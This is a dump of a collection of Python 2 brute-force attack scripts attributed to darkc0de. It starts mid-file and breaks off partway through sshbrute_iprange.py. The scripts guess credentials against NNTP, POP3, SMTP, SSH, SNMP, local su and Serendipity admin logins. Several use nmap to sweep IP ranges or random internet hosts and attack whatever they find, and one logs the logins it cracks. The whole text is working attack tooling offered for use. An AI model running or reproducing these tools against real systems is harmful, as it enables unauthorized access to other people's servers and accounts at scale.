	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 119 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			n = nntplib.NNTP(ip,119,user,value)
			print "\t\nLogin successful:",user, value
			n.quit()
			work.join()
			sys.exit(2)
		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
			print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	try:
		n = nntplib.NNTP(ip,119)
		print "[+] Response:",n.getwelcome(),"\n"
		n.quit()
	except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
		pass
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: nntpbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if NNTP port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, nntplib, re, socket
from nntplib import NNTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./nntpbrute.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 119 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			n = nntplib.NNTP(ipaddr[0],119,user,value)
			print "\t\nLogin successful:",user, value
			n.quit()
			work.join()
			sys.exit(2)
		except (nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
			#print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		try:
			n = nntplib.NNTP(ipaddr[0],119)
			print "[+] Response:",n.getwelcome(),"\n"
			n.quit()
		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
			pass
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: popbrute.py
================================================
#!usr/bin/python
#Pop3 Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./popbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)
	
try:
	pop = poplib.POP3(sys.argv[1])
	welcome = pop.getwelcome()
	pop.quit()
except (poplib.error_proto): 
	welcome = "No Response"
	pass

print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			pop = poplib.POP3(sys.argv[1])
			pop.user(user)
			pop.pass_(value)
			print "\t\nLogin successful:",value, user
			print pop.stat()
			pop.quit()
			work.join()
			sys.exit(2)
		except (poplib.error_proto), msg: 
			#print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: popbrute_iprange.py
================================================
#!usr/bin/python
#Pop3 Brute Forcer, searches ip_range for hosts using pop3.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, poplib, re
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./popbrute_iprange.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 110 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			pop = poplib.POP3(ip)
			pop.user(user[:-1])
			pop.pass_(value)
			print "\t\nLogin successful:",value, user
			print pop.stat()
			pop.quit()
			work.join()
			sys.exit(2)
		except(poplib.error_proto), msg: 
			#print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	try:
		pop = poplib.POP3(ip)
		welcome = pop.getwelcome()
		pop.quit()
	except (poplib.error_proto): 
		welcome = "No Response"
		pass
	print "\n\tAttempting BruteForce:",ip,"\n"
	print "Server Response:",welcome,"\n"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: popbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if pop3 port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, poplib, re, socket
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./popbrute.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 110 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			pop = poplib.POP3(ipaddr[0])
			pop.user(user[:-1])
			pop.pass_(value)
			print "\t\nLogin successful:",value, user
			print pop.stat()
			pop.quit()
			work.join()
			sys.exit(2)
		except(poplib.error_proto, socket.gaierror, socket.error, socket.herror), msg: 
			#print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		try:
			pop = poplib.POP3(ipaddr[0])
			welcome = pop.getwelcome()
			pop.quit()
		except (poplib.error_proto, socket.gaierror, socket.error, socket.herror): 
			welcome = "No Response"
			pass
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		print "Server Response:",welcome,"\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: rootbrute.py
================================================
#!/usr/bin/python 
#Local Root BruteForcer 

#More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=1571
 
#http://www.darkc0de.com 
#d3hydr8[at]gmail[dot]com 
 
import sys 
try: 
	import pexpect 
except(ImportError): 
	print "\nYou need the pexpect module." 
	print "http://www.noah.org/wiki/Pexpect\n" 
	sys.exit(1) 
 
#Change this if needed. 
LOGIN_ERROR = 'su: incorrect password' 
 
def brute(word): 
	print "Trying:",word 
	child = pexpect.spawn ('su') 
	child.expect ('Password: ') 
	child.sendline (word) 
	i = child.expect (['.+\s#\s',LOGIN_ERROR]) 
	if i  == 0: 
		print "\n\t[!] Root Password:",word 
		child.sendline ('whoami') 
		print child.before 
		child.interact() 
	#if i == 1: 
		#print "Incorrect Password" 
 
if len(sys.argv) != 2: 
	print "\nUsage : ./rootbrute.py <wordlist>" 
	print "Eg: ./rootbrute.py words.txt\n" 
	sys.exit(1) 
 
try: 
	words = open(sys.argv[1], "r").readlines() 
except(IOError): 
  	print "\nError: Check your wordlist path\n" 
  	sys.exit(1) 
 
print "\n[+] Loaded:",len(words),"words" 
print "[+] BruteForcing...\n" 
for word in words: 
	brute(word.replace("\n",""))

================================================
FILE: serenbf.py
================================================
#!/usr/bin/python
#Serendipity Brute Force (serendipity_admin.php) POC

#Dork: "Powered by Serendipity" inurl:serendipity_admin.php

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com 

import urllib2, sys, re, urllib

print "\n   d3hydr8[at]gmail[dot]com SerenBF v1.0"
print "----------------------------------------------"

if len(sys.argv) != 4:
	print "Usage: ./serenbf.py <site> <user> <wordlist>\n"
	sys.exit(1)
	
if sys.argv[1][:7] != "http://":
	host = "http://"+sys.argv[1]
else:
	host = sys.argv[1]
	
print "[+] BruteForcing:",host
print "[+] User:",sys.argv[2]

try:
  	words = open(sys.argv[3], "r").readlines()
  	print "[+] Words Loaded",len(words),"\n"
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)
  
for word in words:
	login_form_seq = [
		('serendipity[action]', 'admin'),
     	('serendipity[user]', sys.argv[2]),
     	('serendipity[pass]', word[:-1]),
     	('serendipity[auto]', 'on'),
     	('submit', 'Login >')]
	login_form_data = urllib.urlencode(login_form_seq)
	
	try:
		req = urllib2.Request(url=host, data=login_form_data)
		site = urllib2.urlopen(req).read()
	except(urllib2.URLError):
		site = ""
		pass
		
	#Change this response if different. (language)
	if re.search("invalid username or password",site):
		print "[-] Login Failed:",word[:-1]
	else:
		print "\n\t[!] Login Successfull:",sys.argv[2],word
		sys.exit(1)
print "\n[-] Brute Complete\n"
	


================================================
FILE: smtpbrute.py
================================================
#!usr/bin/python
#Smtp Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, smtplib, socket
from smtplib import SMTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./smtpbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)
try:	
	helo = smtplib.SMTP(sys.argv[1])
	name = helo.helo()
	helo.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
	name = "Server doesn't support the Helo cmd"

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Helo message:",name,"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			smtp = smtplib.SMTP(sys.argv[1])
			smtp.login(user, value)
			print "\t\nLogin successful:",user, value
			smtp.quit()
			work.join()
			sys.exit(2)
		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
			#print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: smtpbrute_iprange.py
================================================
#!usr/bin/python
#Smtp Brute Forcer, searches ip_range for hosts using smtp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			smtp = smtplib.SMTP(ip)
			smtp.login(user[:-1], value)
			print "\t\nLogin successful:",user, value
			smtp.quit()
			work.join()
			sys.exit(2)
		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
			#print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	try:	
		helo = smtplib.SMTP(ip)
		print helo.helo(), "\n"
		helo.quit()
	except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
		print "Server doesn't support the Helo cmd"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(2)


================================================
FILE: smtpbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if smtp port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./smtpbrute_random.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 25 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			smtp = smtplib.SMTP(ipaddr[0])
			smtp.login(user[:-1], value)
			print "\t\nLogin successful:",user, value
			smtp.quit()
			work.join()
			sys.exit(2)
		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
			#print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		try:	
			helo = smtplib.SMTP(ipaddr[0])
			print helo.helo(),"\n"
			helo.quit()
		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
			print "Server doesn't support the Helo cmd\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: snmp_brute.py
================================================
#!usr/bin/python
#Uses nmap to check if snmp port is open then uses snmpwalk to try and bruteforce
#the community name.

#Required: nmap and snmpwalk 

#Changelog: added iprange, single scans and threading for random scans
#Changelog: added the ability to add your own wordlist, it will add to 
#the ones given and erase the duplicates

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import time, StringIO, commands, sys, re, threading, sets

def timer():
	now = time.localtime(time.time())
	return time.asctime(now)

def title():
	print "\n\t   d3hydr8[at]gmail[dot]com snmpBruteForcer v1.2"
	print "\t--------------------------------------------------\n"
	
def scan(option):
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+option+' -p 161 | grep open -B 3')[1]).read()
	if re.search("command not found",nmap.lower()):
		print "\n[-] nmap not installed!!!\n"
		sys.exit(1)
	else:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
		if ipaddr:    		
			return ipaddr

def brute(ip):
	print "\n[+] Attempting BruteForce:",ip
	try:
		for n in names:
			response = StringIO.StringIO(commands.getstatusoutput('snmpwalk '+ip+" "+n)[1]).readlines()
			if re.search("command not found",response[0].lower()):
				print "\n[-] snmpwalk not installed!!!\n"
				sys.exit(1)
			else:
				if verbose ==1:
					print "\t{- Trying:",n
				if len(response) > 1:
					print "\n\tSuccess:",ip,"Community Name:",n
					print "\n\tTry: snmpwalk",ip,n,"\n"
	except(), msg:
		#print "Error:",msg
		pass

class Worker(threading.Thread):
	def run(self):
		ipaddr = scan("-iR 1")
		if ipaddr != None:
			for ip in ipaddr:
				brute(ip)
				
if len(sys.argv) <= 2:
	title()
	print "Usage: ./snmp_random.py <option> \n"
	print "Example: ./snmpbrute.py -iprange 192.168.1-100.1-255 -verbose\n"
	print "[options]"
	print "   -s/single <ip>: Bruteforce single ip"
	print "   -i/-iprange <ip_range>: Scans ip range for snmp to brute force"
	print "   -r/-random <how many to scan>: Will scan random ip's for snmp to brute force"
	print "   -l/-list <wordlist file>: Add your own wordlist"
	print "   -v/-verbose : Verbose Mode\n"
	sys.exit(1)

#Add more community names here.
names = ["1234","2read","4changes","CISCO","IBM","OrigEquipMfr","SNMP","SUN","access","admin","agent","all","cisco"
		,"community","default","enable","field","guest","hello","ibm","manager","mngt","monitor","netman","network"
		,"none","openview","pass","password","passwd","private","proxy","public","read","read-only","read-write"
		,"root","router","secret","security","snmp","snmpd","solaris","sun","switch","system","tech","test"
		,"world","write"]
		
for arg in sys.argv[1:]:
	if arg.lower() == "-s" or arg.lower() == "-single":
		ipaddr = sys.argv[int(sys.argv[1:].index(arg))+2]
		mode = "Single IP"
	if arg.lower() == "-i" or arg.lower() == "-iprange":
		iprange = sys.argv[int(sys.argv[1:].index(arg))+2]
		mode = "Ip-Range"
	if arg.lower() == "-r" or arg.lower() == "-random":
		total = sys.argv[int(sys.argv[1:].index(arg))+2]
		mode = "Random"
	if arg.lower() == "-l" or arg.lower() == "-list":
		wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-v" or arg.lower() == "-verbose":
		verbose = 1
title()	
try:
	print "[+] Wordlist:",wordlist,"loading"
  	words = open(wordlist, "r").readlines()
	print "[+] Loaded:",len(words),"names"
	names = list(sets.Set(words+names))
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)
except(NameError):
	pass
	
print "[+] Mode:",mode
if mode == "Random":
	if total.isdigit() == False:
		print "\n[!] How many ips to scan: must be a number\n"
		sys.exit(1)
	else:
		print "[+] Total:",total
if mode == "Ip-Range":
	print "[+] Range:",iprange
try:
	if verbose ==1:
		print "[+] Verbose Mode On"
except(NameError):
	verbose = 0
	print "[-] Verbose Mode Off"
print "[+] Names Loaded:",len(names)
print "[+] Started:",timer(),"\n"

if mode == "Random":
	for i in range(int(total)):
		print "[+] Scanning:",i+1,"of",total
		work = Worker()
		work.start()
		time.sleep(1)
if mode == "Single IP":
	brute(ipaddr)
if mode == "Ip-Range":
	print "[+] Scanning:",iprange
	ips = scan(iprange)
	if ips != None:
		print "[+] Found:",len(ips)
		for ip in ips:
			brute(ip)
	else:
		print "\n[!] No SNMP Open"
	
print "\n[-] Done -",timer(),"\n"



================================================
FILE: sshbrute.py
================================================
#!/usr/bin/python
#SSH BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time
try:
	import pexpect, pxssh
except(ImportError):
	print "\nYou need the pexpect module."
	print "http://www.noah.org/wiki/Pexpect\n"
	sys.exit(1)

def brute(word):
	print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Quit\n"
		sys.exit(1)

print "\n\t   d3hydr8:darkc0de.com sshBrute v1.0"
print "\t----------------------------------------"
	
if len(sys.argv) != 4:
	print "\nUsage : ./sshbrute.py <server> <user> <wordlist>"
	print "Eg: ./sshbrute.py 198.162.1.1 root words.txt\n"
	sys.exit(1)

ip = sys.argv[1]
user = sys.argv[2]
command = 'uname -a'

try:
	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "\n[-] Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",ip
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
	#Change this time if needed
	time.sleep(0.5)
	brute(word.replace("\n",""))


================================================
FILE: sshbrute_fork.py
================================================
#!/usr/bin/python
#SSH BruteForcer using fork to 
#split the processes and the wordlist
#for faster results.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, random, os
try:
	import pexpect, pxssh
except(ImportError):
	print "\nYou need the pexpect module."
	print "http://www.noah.org/wiki/Pexpect\n"
	sys.exit(1)

def brute(word):
	print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Quit\n"
		sys.exit(1)
	
def getword():
	print len(words)
	word = random.choice(words)
	words.remove(word)
	print len(words)
	return word

print "\n\t   d3hydr8:darkc0de.com sshBrute v1.1"
print "\t----------------------------------------"
	
if len(sys.argv) != 4:
	print "\nUsage : ./sshbrute.py <server> <user> <wordlist>"
	print "Eg: ./sshbrute.py 198.162.1.1 root words.txt\n"
	sys.exit(1)

ip = sys.argv[1]
user = sys.argv[2]
command = 'uname -a'

try:
	wordlist = open(sys.argv[3], "r").readlines()
	words1 = wordlist[:len(wordlist) / 2]
	words2 = wordlist[len(wordlist) / 2:]
except(IOError): 
  	print "\n[-] Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n[+] Loaded:",len(wordlist),"words"
print "[+] Split - Wordlist1:",len(words1),"Wordlist2:",len(words2)
print "[+] Server:",ip
print "[+] User:",user
print "[+] BruteForcing...\n"

pid = os.fork()
if pid:
	print "[+] pid Started:",os.getpid(),"\n"
	while len(words1) != 0:
		word = random.choice(words1)
		#Change this time if needed
		time.sleep(0.5)
		brute(word.replace("\n",""))
		words1.remove(word)
else:
	print "[+] pid Started:",os.getpid()
	while len(words2) != 0:
		word = random.choice(words2)
		#Change this time if needed
		time.sleep(0.2)
		brute(word.replace("\n",""))
		words2.remove(word)


================================================
FILE: sshbrute_iprange.py
================================================
#!/usr/bin/python
#SSH BruteForcer that scans an ip range for 
#open ssh ports using nmap and then brute 
#forces them.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, StringIO, commands, re

#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"


try:
	import pexpect, pxssh
except(ImportError):
	print "\nYou need the pexpect module."
	print "http://www.noah.org/wiki/Pexpect\n"
	sys.exit(1)
	
def scan():
	ips = []
	args = 'nmap -P0 '+ip_range+' -p 22 -open | grep open -B 3'
	nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).readlines()
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ips.append(ipaddr[0])
	return ips

def brute(ip, word):
	if verbose != 0:
		print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Quit\n"
		logins.close()
		sys.exit(1)

print "\n\t   d3hydr8:darkc0de.com sshBrute/IpRange v1.0"
print "\t------------------------------------------------"
	
if len(sys.argv) != 3:
	print "\nUsage : ./sshbrute_iprange.py <ip_range> <wordlist>"
	print "Eg: ./sshbrute_iprange.py 198.162.1.1-255 words.txt\n"
	sys.exit(1)

ip_range = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")

try:
	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "\n[-] Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
	print "[+] Verbose Mode: On"
else:
	print "[+] Verbose Mode: Off"
print "[+] Scanning:",ip_range
print "This might take a min..."

ips = scan()
if len(ips) <= 0:
	print "\n[-] No ips found running SSH\n"
